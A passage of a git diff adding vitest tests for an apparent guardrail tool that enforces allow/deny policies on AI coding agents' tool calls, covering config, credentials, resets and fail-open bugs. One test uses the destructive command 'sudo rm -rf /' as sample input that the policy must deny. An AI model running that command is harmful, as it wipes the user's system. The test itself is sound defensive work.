`process.exit` truncates pending pipe writes, and on this path those + // writes ARE the decision. `exitAfterFlush` exists for exactly this. + const afterCatch = hookCatch.slice(hookCatch.indexOf("} catch (err) {")); + expect(afterCatch).not.toMatch(/\bprocess\.exit\(/); + expect(afterCatch).toMatch(/await exitAfterFlush\(/); + }); +}); + +/** + * A corrupt cloud-managed manifest must cost the cloud layer, not the machine. + * + * `readActiveCloudManagedPolicies()` has fourteen throw sites and sat bare + * inside `evaluateHookEvent`'s `try`, whose only handler is a `finally` — so any + * of them aborted the whole evaluation. The outcome then depended on where the + * hook ran, and neither branch was the intended one: on a daemon machine the + * client fail-closed denies everything, and off it the throw reaches the CLI's + * outer catch, which exits 2 with nothing on stdout — a deny on Claude and + * Factory, but a warning followed by an ALLOW on the five CLIs that read a + * decision off stdout and ignore the exit code. + */ +describe("hooks/handler with a corrupt cloud-managed manifest", () => { + let policyRoot: string; + + beforeEach(() => { + policyRoot = mkdtempSync(join(tmpdir(), "fpai-corrupt-managed-")); + process.env.FAILPROOFAI_CLOUD_POLICY_DIR = policyRoot; + }); + + afterEach(() => { + delete process.env.FAILPROOFAI_CLOUD_POLICY_DIR; + rmSync(policyRoot, { recursive: true, force: true }); + }); + + it("keeps enforcing local policies instead of aborting the evaluation", async () => { + writeFileSync(join(policyRoot, "active.json"), "{ this is not json"); + writeFileSync( + join(projectDir, ".failproofai", "policies-config.json"), + JSON.stringify({ enabledPolicies: ["block-sudo"] }), + ); + + // The local builtin still fires — the cloud layer degrades alone. + const denied = await evaluateHookEvent("PreToolUse", "claude", stdin({ + tool_name: "Bash", + tool_input: { command: "sudo rm -rf /" }, + })); + expect(permissionDecisionOf(denied.stdout)).toBe("deny"); + + // And a benign command is still allowed, rather than the whole machine + // being denied (daemon path) or silently allowed (Copilot/Cursor/Goose/ + // Pi/Hermes, which ignore the exit code). + const allowed = await evaluateHookEvent("PreToolUse", "claude", stdin({ + tool_name: "Bash", + tool_input: { command: "echo hi" }, + })); + expect(permissionDecisionOf(allowed.stdout)).toBeUndefined(); + expect(allowed.exitCode).toBe(0); + }); + + it("says loudly that cloud policies are not being enforced", async () => { + // Failing open silently would be the worse bug: a managed machine would + // look protected and be enforcing only its local set. + writeFileSync( + join(policyRoot, "active.json"), + JSON.stringify({ schemaVersion: 999, generation: 1, policies: [] }), + ); + + const result = await evaluateHookEvent("PreToolUse", "claude", stdin({ + tool_name: "Bash", + tool_input: { command: "echo hi" }, + })); + + expect(result.exitCode).toBe(0); + expect(warnings.join("\n")).toMatch(/cloud-managed policies could NOT be loaded/i); + }); +}); diff --git a/__tests__/hooks/first-run-gate.test.ts b/__tests__/hooks/first-run-gate.test.ts new file mode 100644 index 00000000..f0431b2e --- /dev/null +++ b/__tests__/hooks/first-run-gate.test.ts @@ -0,0 +1,51 @@ +import { describe, it, expect } from "vitest"; +import { shouldOfferFirstRun } from "../../src/hooks/first-run-gate"; + +describe("shouldOfferFirstRun", () => { + it("offers onboarding for a bare invocation", () => { + expect(shouldOfferFirstRun([])).toBe(true); + }); + + it("offers onboarding for audit", () => { + expect(shouldOfferFirstRun(["audit"])).toBe(true); + }); + + it("offers onboarding for an unknown subcommand", () => { + // The unknown-command error is still more useful after setup than before, + // and this keeps the rule "everything except the exemptions". + expect(shouldOfferFirstRun(["wat"])).toBe(true); + }); + + it("never interrupts --hook", () => { + // A hook runs once per tool call, with an agent waiting on stdout. An + // interactive prompt there hangs the agent until its hook timeout. + expect(shouldOfferFirstRun(["--hook", "PreToolUse"])).toBe(false); + expect(shouldOfferFirstRun(["--hook", "PreToolUse", "--cli", "claude"])).toBe(false); + }); + + it("never interrupts --version or --help, in any position", () => { + expect(shouldOfferFirstRun(["--version"])).toBe(false); + expect(shouldOfferFirstRun(["-v"])).toBe(false); + expect(shouldOfferFirstRun(["--help"])).toBe(false); + expect(shouldOfferFirstRun(["-h"])).toBe(false); + // Subcommand help must not be gated behind setup either. + expect(shouldOfferFirstRun(["policies", "--help"])).toBe(false); + expect(shouldOfferFirstRun(["audit", "--help"])).toBe(false); + }); + + it("never interrupts the configuration subcommands", () => { + // These ARE setup. A wizard in front of them overrides a stated intent and + // hangs any script that calls them non-interactively. + for (const sub of ["config", "policies", "policy"]) { + expect(shouldOfferFirstRun([sub])).toBe(false); + } + expect(shouldOfferFirstRun(["policies", "--install", "--cli", "claude"])).toBe(false); + expect(shouldOfferFirstRun(["policy", "add", "block-sudo"])).toBe(false); + }); + + it("only exempts a configuration word in the SUBCOMMAND position", () => { + // `failproofai audit --project policies` must still onboard — "policies" + // here is an argument, not the command. + expect(shouldOfferFirstRun(["audit", "policies"])).toBe(true); + }); +}); diff --git a/__tests__/hooks/fp-home.test.ts b/__tests__/hooks/fp-home.test.ts new file mode 100644 index 00000000..38e26821 --- /dev/null +++ b/__tests__/hooks/fp-home.test.ts @@ -0,0 +1,359 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync, existsSync, readFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import * as H from "../../src/hooks/fp-home"; +import { + detectLayout, + readConfig, + writeConfig, + updateConfig, + readCredentials, + writeCredentials, + readVersionFile, + writeVersionFile, + DEFAULT_CONFIG, +} from "../../src/hooks/fp-config"; + +let home: string; +let prevHome: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-home-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +describe("fp-home layout", () => { + it("derives every path from FAILPROOFAI_HOME", () => { + // The whole point of the module: relocating the home relocates everything + // atomically, so a test or a container never touches a real machine. + const paths = [ + H.versionFile(), H.configFile(), H.credentialsFile(), H.binDir(), + H.policiesDir(), H.localPoliciesDir(), H.globalPolicyConfigFile(), + H.cloudPoliciesDir(), H.customPoliciesDir(), H.cursorsDir(), + H.auditDir(), H.auditDashboardFile(), H.auditCacheDir(), + H.hookActivityDir(), H.customAgentsEventsDir(), H.runDir(), + H.stateDir(), H.spoolDir(), H.failedDir(), H.collectorHealthFile(), + H.sessionPauseDir(), H.launcherMarker(), H.onboardingLockFile(), + H.auditScheduleFile(), H.telemetryIdFile(), + ]; + for (const p of paths) expect(p.startsWith(home + "/")).toBe(true); + }); + + it("puts the telemetry id exactly where the daemon reads it", () => { + // The mirror image of the audit schedule below: the CLI is the sole writer + // and failproofaid only reads, through telemetry_id_path() in + // crates/failproofaid/src/paths.rs. A divergence does not fail — the daemon + // simply never finds the file, falls back to a tier it can recompute, and + // files this machine under a second PostHog person that is indistinguishable + // from a second machine. Kept next to the Rust literal so the pair has to be + // changed together. + expect(H.telemetryIdFile()).toBe(resolve(home, "state", "telemetry-id")); + }); + + it("puts the audit schedule exactly where the daemon writes it", () => { + // The daemon is this file's sole writer and resolves it independently in + // crates/failproofaid/src/paths.rs. A divergence does not fail, it just + // means the dashboard's last-run / next-due readout reads a path nothing + // writes — and an absent file is indistinguishable from a lane that has + // never run. Kept next to the Rust literal so the pair has to be changed + // together. + expect(H.auditScheduleFile()).toBe(resolve(home, "state", "audit-schedule.json")); + }); + + it("keeps run/ shallow — sockets must fit in SUN_LEN", () => { + // A Unix socket path caps at ~108 bytes and we hit that ceiling twice + // during development. run/ is deliberately NOT nested under state/. + delete process.env.FAILPROOFAI_DAEMON_SOCKET; + const rel = H.daemonSocket().slice(home.length); + expect(rel).toBe("/run/failproofaid.sock"); + // Budget check against a realistic home, not the temp path. + expect(("/home/somebody/.failproofai" + rel).length).toBeLessThan(108); + }); + + it("honours FAILPROOFAI_DAEMON_SOCKET over the derived path", () => { + process.env.FAILPROOFAI_DAEMON_SOCKET = "/tmp/x/y.sock"; + expect(H.daemonSocket()).toBe("/tmp/x/y.sock"); + delete process.env.FAILPROOFAI_DAEMON_SOCKET; + }); + + it("separates the three policy kinds", () => { + // Layout 1 mixed user *.mjs and cloud-managed/ in one policies/ dir. + expect(H.localPoliciesDir()).not.toBe(H.customPoliciesDir()); + expect(H.cloudPoliciesDir()).not.toBe(H.customPoliciesDir()); + expect(H.globalPolicyConfigFile()).toBe( + resolve(H.localPoliciesDir(), "policies-config.json"), + ); + }); + + it("gives each collector source its own cursor directory", () => { + // Two sources sharing a cursor file clobber each other's watermark and + // the loser re-reads from zero after every restart. + expect(H.cursorsDir("claude")).not.toBe(H.cursorsDir("codex")); + expect(H.cursorsDir()).toBe(resolve(home, "cursors")); + }); + + it("never lists bin/ or run/ as resettable", () => { + // bin/ is a large, version-pinned, re-verified download — deleting it only + // forces a needless refetch. run/ belongs to a LIVE daemon; removing its + // sockets breaks a running process rather than resetting configuration. + const paths = H.resettablePaths(); + expect(paths).not.toContain(H.binDir()); + expect(paths).not.toContain(H.runDir()); + }); + + it("resettablePaths covers both layouts", () => { + const paths = H.resettablePaths(); + expect(paths).toContain(H.legacy.policyConfig()); + expect(paths).toContain(H.credentialsFile()); + // `cache/` is no longer removed as a unit — it CONTAINS layout 1's decision + // log, which is now carried across — so its other children are named + // individually and must still be here. + expect(paths).not.toContain(H.legacy.cacheDir()); + expect(paths).toContain(H.legacy.auditCacheDir()); + expect(paths).toContain(H.legacy.codexSessionPaths()); + // The decision log and the cursors that resume it are the two things a + // reset must NOT take. See `hook-activity-migration.test.ts`. + expect(paths).not.toContain(H.hookActivityDir()); + expect(paths).not.toContain(H.cursorsDir()); + }); +}); + +describe("detectLayout", () => { + it("reports absent for an empty home", () => { + // A fresh install must never be mistaken for a stale one — that would + // present a reset prompt to somebody who has nothing to reset. + expect(detectLayout()).toEqual({ kind: "absent" }); + }); + + it("reports current once VERSION is written", () => { + writeVersionFile(); + const state = detectLayout(); + expect(state.kind).toBe("current"); + if (state.kind === "current") expect(state.version.layout).toBe(H.LAYOUT_VERSION); + }); + + it("recognises a layout-1 home by its landmarks", () => { + writeFileSync(resolve(home, "policies-config.json"), "{}"); + expect(detectLayout()).toEqual({ kind: "stale", found: 1 }); + }); + + it("recognises layout 1 from the cache dir alone", () => { + mkdirSync(resolve(home, "cache", "hook-activity"), { recursive: true }); + expect(detectLayout()).toEqual({ kind: "stale", found: 1 }); + }); + + it("distinguishes a FUTURE layout from a stale one", () => { + // Telling someone to reset a home written by a newer CLI would delete data + // a simple upgrade would have read fine. + writeFileSync(resolve(home, "VERSION"), 'layout = 99\ncli = "9.9.9"\n'); + expect(detectLayout()).toEqual({ kind: "future", found: 99 }); + }); + + it("treats a corrupt VERSION with no landmarks as absent", () => { + writeFileSync(resolve(home, "VERSION"), "this is not toml {{{"); + expect(detectLayout()).toEqual({ kind: "absent" }); + }); +}); + +describe("VERSION file", () => { + it("round-trips and preserves the daemon version across writes", () => { + writeVersionFile({ daemon: "1.0.0-beta.5" }); + expect(readVersionFile()).toMatchObject({ layout: H.LAYOUT_VERSION, daemon: "1.0.0-beta.5" }); + // A CLI-only rewrite must not drop the daemon version it did not touch. + writeVersionFile({ cli: "2.0.0" }); + expect(readVersionFile()).toMatchObject({ cli: "2.0.0", daemon: "1.0.0-beta.5" }); + }); +}); + +describe("config.toml", () => { + it("defaults to OSS when absent", () => { + expect(readConfig()).toEqual(DEFAULT_CONFIG); + }); + + it("round-trips every field", () => { + const cfg = { + mode: "cloud" as const, + // No version field here on purpose — the installed daemon version lives + // in VERSION, so one copy cannot disagree with another. + daemon: { configured: true }, + collector: { + sessions: true, hooks: true, hooksVerbosity: "all" as const, + redact: "off" as const, environment: "prod", machineId: "box-1", + }, + telemetry: { enabled: true }, + audit: { auto: true, intervalDays: 14 }, + }; + writeConfig(cfg); + expect(readConfig()).toEqual(cfg); + }); + + it("telemetry is on by default and the file says nothing about it", () => { + // The shipped posture: on, and not advertised in the config a user cat's. + writeConfig(DEFAULT_CONFIG); + expect(readConfig().telemetry.enabled).toBe(true); + expect(readFileSync(H.configFile(), "utf8")).not.toContain("[telemetry]"); + }); + + it("a telemetry opt-out SURVIVES a rewrite", () => { + // writeConfig regenerates the whole file, so a key it does not emit is a key + // it silently deletes. Switching telemetry back on under someone who turned + // it off would be the worst possible bug in this feature. + writeConfig({ ...DEFAULT_CONFIG, telemetry: { enabled: false } }); + expect(readConfig().telemetry.enabled).toBe(false); + expect(readFileSync(H.configFile(), "utf8")).toContain("enabled = false"); + + // A later unrelated write must not resurrect it. + writeConfig({ ...readConfig(), collector: { ...DEFAULT_CONFIG.collector, environment: "ci" } }); + expect(readConfig().telemetry.enabled).toBe(false); + }); + + it("only an explicit false disables telemetry", () => { + writeFileSync(H.configFile(), '[telemetry]\nenabled = "no"\n'); + expect(readConfig().telemetry.enabled).toBe(true); + writeFileSync(H.configFile(), "[telemetry]\nenabled = false\n"); + expect(readConfig().telemetry.enabled).toBe(false); + }); + + it("the scheduled audit is OFF by default and says so in the file", () => { + // The opposite posture to telemetry directly above: off, and deliberately + // visible, because it is a switch the user is meant to find and flip. It is + // off because the scan reads the contents of every transcript on disk. + expect(DEFAULT_CONFIG.audit).toEqual({ auto: false, intervalDays: 7 }); + writeConfig(DEFAULT_CONFIG); + const written = readFileSync(H.configFile(), "utf8"); + expect(written).toContain("[audit]"); + expect(written).toContain("auto = false"); + expect(written).toContain("interval_days = 7"); + }); + + it("an enabled auto-audit SURVIVES a rewrite", () => { + // writeConfig regenerates the whole file, so a key it does not emit is a key + // it silently deletes — the failure that would turn somebody's weekly audit + // off the next time any unrelated setting changed. + writeConfig({ ...DEFAULT_CONFIG, audit: { auto: true, intervalDays: 30 } }); + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30 }); + + writeConfig({ ...readConfig(), collector: { ...DEFAULT_CONFIG.collector, environment: "ci" } }); + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30 }); + }); + + it("only an explicit true switches the auto-audit on", () => { + writeFileSync(H.configFile(), '[audit]\nauto = "yes"\n'); + expect(readConfig().audit.auto).toBe(false); + writeFileSync(H.configFile(), "[audit]\nauto = true\n"); + expect(readConfig().audit.auto).toBe(true); + }); + + it("resolves a nonsense interval to the default rather than to a daily scan", () => { + // 0 almost certainly means "off", and reading it as a DAILY 104-second scan + // of every transcript on the machine is the loudest way to misread it. + for (const raw of ["0", "-3", "0.5", '"weekly"', "true"]) { + writeFileSync(H.configFile(), `[audit]\nauto = true\ninterval_days = ${raw}\n`); + expect(readConfig().audit.intervalDays).toBe(7); + } + }); + + it("clamps a too-large interval DOWN rather than falling back", () => { + // Falling back to 7 for `3650` would scan an order of magnitude more often + // than was asked for; 90 is the conservative direction of the two. + writeFileSync(H.configFile(), "[audit]\nauto = true\ninterval_days = 3650\n"); + expect(readConfig().audit.intervalDays).toBe(90); + writeFileSync(H.configFile(), "[audit]\nauto = true\ninterval_days = 1\n"); + expect(readConfig().audit.intervalDays).toBe(1); + }); + + it("updateConfig patches the audit block without touching the rest", () => { + writeConfig({ ...DEFAULT_CONFIG, telemetry: { enabled: false } }); + updateConfig({ audit: { auto: true } }); + const after = readConfig(); + expect(after.audit).toEqual({ auto: true, intervalDays: 7 }); + expect(after.telemetry.enabled).toBe(false); // untouched + }); + + it("the mode comment no longer claims nothing is EVER sent", () => { + // It used to read "fully local. Nothing is sent anywhere, ever." — untrue + // while four telemetry dispatchers exist. Not mentioning telemetry is fine; + // asserting the opposite is not. + writeConfig(DEFAULT_CONFIG); + const written = readFileSync(H.configFile(), "utf8"); + expect(written).not.toContain("Nothing is sent anywhere, ever"); + expect(written).toContain("No transcripts, hook activity or policy leave"); + }); + + it("a corrupt config reads as OSS, never as cloud", () => { + // Failure direction: a damaged file must not be able to switch reporting + // ON. Silent-and-local is the only safe way to fail here. + writeFileSync(H.configFile(), "mode = { kind = broken"); + expect(readConfig().mode).toBe("oss"); + }); + + it("an unrecognised mode reads as OSS", () => { + writeFileSync(H.configFile(), '[mode]\nkind = "enterprise"\n'); + expect(readConfig().mode).toBe("oss"); + }); + + it("updateConfig merges rather than replacing", () => { + writeConfig({ ...DEFAULT_CONFIG, collector: { ...DEFAULT_CONFIG.collector, environment: "ci" } }); + updateConfig({ daemon: { configured: true } }); + const after = readConfig(); + expect(after.daemon.configured).toBe(true); + expect(after.collector.environment).toBe("ci"); // untouched + }); + + it("stays hand-editable: comments survive a read", () => { + writeConfig(DEFAULT_CONFIG); + const text = readFileSync(H.configFile(), "utf8"); + expect(text).toContain("#"); + expect(text).toContain("[mode]"); + expect(() => readConfig()).not.toThrow(); + }); +}); + +describe("credentials.toml", () => { + it("is written owner-only, and tightens the home", () => { + writeCredentials({ ingest: { url: "https://x/events", key: "k123456789" } }); + const { statSync } = require("node:fs"); + expect(statSync(H.credentialsFile()).mode & 0o777).toBe(0o600); + expect(statSync(home).mode & 0o077).toBe(0); + }); + + it("re-tightens an existing over-permissive file", () => { + const { chmodSync, statSync } = require("node:fs"); + writeCredentials({ ingest: { url: "https://x/events", key: "k1" } }); + chmodSync(H.credentialsFile(), 0o644); + // mode: on writeFileSync applies only at CREATE, so the rewrite must chmod. + writeCredentials({ ingest: { url: "https://x/events", key: "k2" } }); + expect(statSync(H.credentialsFile()).mode & 0o777).toBe(0o600); + }); + + it("round-trips all three credential kinds", () => { + const creds = { + cloud: { url: "https://c", machineId: "m1", token: "t1" }, + ingest: { url: "https://c/events", key: "k1" }, + auth: { baseUrl: "https://c", sessionToken: "s1", expiresAt: 123, email: "a@b.c" }, + }; + writeCredentials(creds); + expect(readCredentials()).toEqual(creds); + }); + + it("ignores partial/blank credential blocks", () => { + // A half-written credential is worse than none: --status would report a + // connection the machine does not have. + writeFileSync(H.credentialsFile(), '[ingest]\nurl = "https://x"\nkey = ""\n'); + expect(readCredentials().ingest).toBeUndefined(); + }); + + it("never puts a token in config.toml", () => { + writeCredentials({ ingest: { url: "https://x/events", key: "SUPERSECRET" } }); + writeConfig({ ...DEFAULT_CONFIG, mode: "cloud" }); + expect(readFileSync(H.configFile(), "utf8")).not.toContain("SUPERSECRET"); + }); +}); diff --git a/__tests__/hooks/fp-reset.test.ts b/__tests__/hooks/fp-reset.test.ts new file mode 100644 index 00000000..7ed9efd4 --- /dev/null +++ b/__tests__/hooks/fp-reset.test.ts @@ -0,0 +1,315 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync, readFileSync, existsSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { + LAYOUT_VERSION, + binDir, + runDir, + hookActivityDir, + cursorsDir, + customPoliciesDir, + localPoliciesDir, + cloudPoliciesDir, + legacy, +} from "../../src/hooks/fp-home"; +import { detectLayout, readVersionFile, writeVersionFile } from "../../src/hooks/fp-config"; +import { resetHome, checkLayoutForCli, layoutWarningForHook } from "../../src/hooks/fp-reset"; + +let home: string; +let prev: string | undefined; + +beforeEach(() => { + prev = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-reset-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (prev === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prev; + rmSync(home, { recursive: true, force: true }); +}); + +/** A believable layout-1 home. */ +function seedLayoutOne() { + mkdirSync(legacy.hookActivityDir(), { recursive: true }); + writeFileSync(resolve(legacy.hookActivityDir(), "current.jsonl"), "{}\n"); + mkdirSync(legacy.auditCacheDir(), { recursive: true }); + writeFileSync(legacy.policyConfig(), '{"enabledPolicies":["block-sudo"]}'); + writeFileSync(legacy.ingestCredentials(), '{"url":"https://x","key":"k"}'); + writeFileSync(legacy.auditDashboard(), "{}"); + writeFileSync(legacy.launcherMarker(), "1"); + mkdirSync(resolve(home, "cursors", "claude"), { recursive: true }); + writeFileSync(resolve(home, "cursors", "claude", "cursors.json"), "{}"); +} + +describe("resetHome", () => { + it("removes layout-1 state and stamps the current VERSION", () => { + seedLayoutOne(); + const out = resetHome(1); + + expect(out.from).toBe(1); + expect(out.removed.length).toBeGreaterThan(0); + expect(existsSync(legacy.policyConfig())).toBe(false); + // `cache/` itself survives now — it contains the decision log, which is + // carried across — but everything else inside it goes. + expect(existsSync(legacy.auditCacheDir())).toBe(false); + expect(existsSync(legacy.ingestCredentials())).toBe(false); + expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION); + expect(detectLayout().kind).toBe("current"); + }); + + it("KEEPS cursors — the decision was reversed deliberately", () => { + // This asserted the opposite, with a comment warning that a later + // "kindness" must not quietly reintroduce a special case. The reversal is + // not a kindness and is not quiet: layout 1's decision log is now MOVED + // into layout 2 rather than deleted, and a move preserves the inode + // precisely so the cursors keyed on `(device, inode)` still resume it. + // Delete the cursors and every carried page reads as new and re-ships in + // full — which is the outcome the move exists to prevent, so keeping the + // log and dropping the watermarks would be half a feature. + // + // The original call — one rule, no exceptions — bought simplicity at the + // price of a one-off re-ship. That price is now paid by users who have + // real history, which is the case this exists to serve. + seedLayoutOne(); + resetHome(1); + expect(existsSync(cursorsDir())).toBe(true); + }); + + it("NEVER removes the downloaded daemon binary", () => { + // It is large, version-pinned and SHA-verified on use. Deleting it only + // forces a needless refetch — on a machine that may be offline. + mkdirSync(binDir(), { recursive: true }); + writeFileSync(resolve(binDir(), "failproofaid-1.0.0"), "ELF"); + seedLayoutOne(); + resetHome(1); + expect(existsSync(resolve(binDir(), "failproofaid-1.0.0"))).toBe(true); + }); + + it("NEVER removes run/ — those sockets may belong to a live daemon", () => { + mkdirSync(runDir(), { recursive: true }); + writeFileSync(resolve(runDir(), "failproofaid.lock"), ""); + seedLayoutOne(); + resetHome(1); + expect(existsSync(resolve(runDir(), "failproofaid.lock"))).toBe(true); + }); + + it("is idempotent", () => { + seedLayoutOne(); + resetHome(1); + const second = resetHome(LAYOUT_VERSION); + expect(second.removed).toEqual([]); + expect(detectLayout().kind).toBe("current"); + }); + + // `~/.failproofai/policies/` is where layout 1 DOCUMENTED personal policies + // (`docs/configuration.mdx`: "User | ~/.failproofai/policies/ | Personal, + // applies to all projects"). They are hand-written source: nothing + // regenerates them and nothing backs them up, so an unconditional + // `rmSync(recursive, force)` on the parent was silent, permanent data loss — + // and the printed message named only "policy config, activity history and + // audit cache". + describe("hand-written policies in the layout-1 policies/ directory", () => { + function seedUserPolicies() { + mkdirSync(resolve(home, "policies"), { recursive: true }); + writeFileSync(resolve(home, "policies", "my-policies.mjs"), "// mine\n"); + writeFileSync(resolve(home, "policies", "team-policies.js"), "// team\n"); + // Misses the *policies.{js,mjs,ts} convention, so it never loaded — but + // it is still source somebody wrote, and deleting it is the same harm. + writeFileSync(resolve(home, "policies", "block-foo.mjs"), "// skipped\n"); + } + + it("never deletes them", () => { + seedLayoutOne(); + seedUserPolicies(); + resetHome(1); + expect(existsSync(resolve(home, "policies", "my-policies.mjs"))).toBe(false); + // Not deleted — MOVED. Asserted properly below; this only pins that the + // bytes still exist somewhere under the home. + expect(existsSync(resolve(customPoliciesDir(), "my-policies.mjs"))).toBe(true); + }); + + it("moves them to where layout 2 actually loads them, and says which", () => { + // Surviving the delete is only half of it: layout 2's loader opens + // `policies/custom-policies/`, so a file left at the old top level would + // be kept and never loaded again — the same enforcement gap, slower. + seedLayoutOne(); + seedUserPolicies(); + const out = resetHome(1); + + expect(out.migrated).toEqual(["block-foo.mjs", "my-policies.mjs", "team-policies.js"]); + expect(existsSync(resolve(customPoliciesDir(), "my-policies.mjs"))).toBe(true); + expect(existsSync(resolve(customPoliciesDir(), "team-policies.js"))).toBe(true); + expect(existsSync(resolve(customPoliciesDir(), "block-foo.mjs"))).toBe(true); + }); + + it("still clears the machine-owned children of policies/", () => { + // Narrowing the reset must not turn it into a no-op: both of these are + // re-derived (local by setup, cloud by the next daemon poll) and a stale + // one is exactly what the reset exists to remove. + seedLayoutOne(); + mkdirSync(localPoliciesDir(), { recursive: true }); + writeFileSync(resolve(localPoliciesDir(), "policies-config.json"), "{}"); + mkdirSync(cloudPoliciesDir(), { recursive: true }); + writeFileSync(resolve(cloudPoliciesDir(), "active.json"), "{}"); + mkdirSync(legacy.cloudManagedPolicies(), { recursive: true }); + + resetHome(1); + + expect(existsSync(localPoliciesDir())).toBe(false); + expect(existsSync(cloudPoliciesDir())).toBe(false); + expect(existsSync(legacy.cloudManagedPolicies())).toBe(false); + }); + + it("does not overwrite a file already at the destination", () => { + seedLayoutOne(); + seedUserPolicies(); + mkdirSync(customPoliciesDir(), { recursive: true }); + writeFileSync(resolve(customPoliciesDir(), "my-policies.mjs"), "// newer\n"); + + const out = resetHome(1); + + expect(out.migrated).not.toContain("my-policies.mjs"); + expect(readFileSync(resolve(customPoliciesDir(), "my-policies.mjs"), "utf8")).toBe("// newer\n"); + // The source is left where it was rather than dropped on the floor. + expect(existsSync(resolve(home, "policies", "my-policies.mjs"))).toBe(true); + }); + }); +}); + +describe("checkLayoutForCli", () => { + it("resets a stale home and explains what happened", async () => { + seedLayoutOne(); + const check = await checkLayoutForCli(); + expect(check.fatal).toBe(false); + expect(check.lines.join("\n")).toContain("failproofai config"); + expect(existsSync(legacy.policyConfig())).toBe(false); + }); + + it("REFUSES a future layout instead of deleting it", async () => { + // The two failures are not symmetric: an older home can be rebuilt by + // re-running setup, but a newer one holds data this build cannot read and + // an upgrade could. Resetting it would destroy something recoverable. + writeFileSync(resolve(home, "VERSION"), 'layout = 99\ncli = "9.9.9"\n'); + writeFileSync(resolve(home, "config.toml"), "[mode]\nkind = \"cloud\"\n"); + + const check = await checkLayoutForCli(); + + expect(check.fatal).toBe(true); + expect(check.lines.join("\n")).toMatch(/newer version/i); + expect(check.lines.join("\n")).toContain("npm install -g failproofai@latest"); + // Nothing removed. + expect(existsSync(resolve(home, "config.toml"))).toBe(true); + }); + + it("stamps VERSION on a fresh home and says nothing", async () => { + const check = await checkLayoutForCli(); + expect(check.lines).toEqual([]); + expect(check.fatal).toBe(false); + expect(check.didReset).toBe(false); + expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION); + }); + + // A reset removes the global policy config but deliberately leaves the agent + // CLIs' settings files alone — so `isConfigured()` still reads true off + // `hasGlobalHooks`, the wizard is skipped, and `markLauncherSeen()` back-fills + // the marker so every LATER run skips it too. Without this flag the user is + // left with hooks firing on every tool call against an empty policy set, and + // nothing ever says so again. + it("reports didReset so the caller can force setup", async () => { + seedLayoutOne(); + const check = await checkLayoutForCli(); + expect(check.didReset).toBe(true); + }); + + it("names the policy files it moved rather than counting them", async () => { + seedLayoutOne(); + mkdirSync(resolve(home, "policies"), { recursive: true }); + writeFileSync(resolve(home, "policies", "my-policies.mjs"), "// mine\n"); + + const text = (await checkLayoutForCli()).lines.join("\n"); + + expect(text).toContain("my-policies.mjs"); + expect(text).toContain(customPoliciesDir()); + }); + + it("says nothing on an already-current home", async () => { + writeVersionFile(); + mkdirSync(hookActivityDir(), { recursive: true }); + expect((await checkLayoutForCli()).lines).toEqual([]); + }); +}); + +describe("layoutWarningForHook", () => { + it("warns on a stale layout — silence would mean unenforced policies", () => { + // The failure being guarded: a stale home resolves to no global config, so + // every builtin quietly stops firing and the machine looks protected. + seedLayoutOne(); + const warning = layoutWarningForHook(); + expect(warning).toContain("NOT being enforced"); + expect(warning).toContain("failproofai config"); + }); + + it("NEVER deletes anything from the hook path", () => { + // A hook runs unattended, once per tool call, with an agent waiting. It is + // the wrong place to remove a user's history. + seedLayoutOne(); + layoutWarningForHook(); + expect(existsSync(legacy.policyConfig())).toBe(true); + expect(existsSync(legacy.hookActivityDir())).toBe(true); + }); + + it("warns on a future layout too", () => { + writeFileSync(resolve(home, "VERSION"), 'layout = 99\ncli = "9.9.9"\n'); + expect(layoutWarningForHook()).toMatch(/newer version/i); + }); + + it("is silent on current and on absent", () => { + expect(layoutWarningForHook()).toBeNull(); // absent + writeVersionFile(); + expect(layoutWarningForHook()).toBeNull(); // current + }); +}); + +describe("daemon flag self-heal", () => { + // The exact combination that bricked a real machine during development: + // the service was removed while daemonConfigured stayed true, so every hook + // failed closed — including UserPromptSubmit, which locked the user out of + // their agent with no CLI route back. + it("clears daemonConfigured when the service is gone", async () => { + const { writeConfig, DEFAULT_CONFIG, readConfig } = await import("../../src/hooks/fp-config"); + const svc = await import("../../src/hooks/daemon-service"); + const spyPlat = vi.spyOn(svc, "isDaemonSupportedPlatform").mockReturnValue(true); + const spyStat = vi.spyOn(svc, "daemonServiceStatus").mockReturnValue("not-installed"); + + writeConfig({ ...DEFAULT_CONFIG, daemon: { configured: true } }); + writeVersionFile(); + + const check = await checkLayoutForCli(); + + expect(readConfig().daemon.configured).toBe(false); + expect(check.lines.join("\n")).toContain("denies every tool call"); + spyPlat.mockRestore(); + spyStat.mockRestore(); + }); + + it("does NOT clear it merely because the service is stopped", async () => { + // A stopped unit is usually a restart in progress. Clearing there would + // silently downgrade a healthy machine to the in-process path — a quiet + // wrong answer traded for a loud correct one. + const { writeConfig, DEFAULT_CONFIG, readConfig } = await import("../../src/hooks/fp-config"); + const svc = await import("../../src/hooks/daemon-service"); + const spyPlat = vi.spyOn(svc, "isDaemonSupportedPlatform").mockReturnValue(true); + const spyStat = vi.spyOn(svc, "daemonServiceStatus").mockReturnValue("stopped"); + + writeConfig({ ...DEFAULT_CONFIG, daemon: { configured: true } }); + writeVersionFile(); + await checkLayoutForCli(); + + expect(readConfig().daemon.configured).toBe(true); + spyPlat.mockRestore(); + spyStat.mockRestore(); + }); +}); diff --git a/__tests__/hooks/handler.test.ts b/__tests__/hooks/handler.test.ts index 072020aa..70776c15 100644 --- a/__tests__/hooks/handler.test.ts +++ b/__tests__/hooks/handler.test.ts @@ -1,6 +1,24 @@ // @vitest-environment node +// +// Every test here 